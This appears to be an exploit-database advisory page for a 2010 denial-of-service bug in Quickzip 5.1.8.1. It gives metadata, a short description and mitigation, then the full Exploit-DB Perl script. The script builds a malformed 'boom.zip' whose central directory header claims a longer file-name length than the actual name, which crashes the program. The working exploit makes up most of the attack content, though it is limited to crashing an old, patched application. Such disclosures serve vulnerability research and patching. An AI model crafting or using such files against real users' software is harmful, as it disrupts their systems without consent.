Quickzip 5.1.8.1 Denial of Service Vulnerability

vendor:

Quickzip

by:

moigai

7,8

CVSS

HIGH

Denial of Service

CWE

Product Name: Quickzip

Affected Version From: 5.1.8.1

Affected Version To: 5.1.8.1

Patch Exists: YES

Related CWE: N/A

CPE: a:quickzip:quickzip:5.1.8.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 En (VM)

2010

Quickzip 5.1.8.1 Denial of Service Vulnerability

A denial of service vulnerability exists in Quickzip 5.1.8.1, which allows an attacker to crash the program by creating a specially crafted zip file with a filename length shorter than the length specified in the central directory header. In the case of length specified equals 0x7, the program crash when the actual length is smaller than 0x4.

Mitigation:

Upgrade to the latest version of Quickzip.

Source

Exploit-DB raw data:

# Exploit Title: Quickzip 5.1.8.1 Denial of Service Vulnerability
# Date: 2010/11/02
# Author: moigai
# e-mail: again.liu@gmail.com
# Version: 5.1.8.1
# Tested on: Windows XP SP3 En (VM)
# Greetz to: Yoji

my $file = "boom.zip";

my $localHeader = 
"\x50\x4b\x03\x04" . #Local file header signature
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";  

my $centralDirHeader = 
"\x50\x4b\x01\x02" . #central dir header signature
"\x14\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 
"\x07\x00" . #file name length
"\x00\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x00\x00" .
"\x00\x00";  

# The program crashes when the file name is shorter than the length specified above.
# In the case of length specified equals 0x7, the program crash when the actual length is smaller than 0x4
my $filename = "yyy";

my $endCentralDirHeader = 
"\x50\x4b\x05\x06" . #end central dir header signature
"\x00\x00\x00\x00\x01\x00\x01\x00\x35\x00\x00\x00\x1e\x00" .
"\x00\x00\x00\x00"; 

my $zip = $localHeader . $centralDirHeader . $filename . $endCentralDirHeader;
print "\n[+] Creating zip file\n";
open(FILE, ">$file");
print FILE $zip;
close(FILE);
print "[+] File " . $file . " created\n";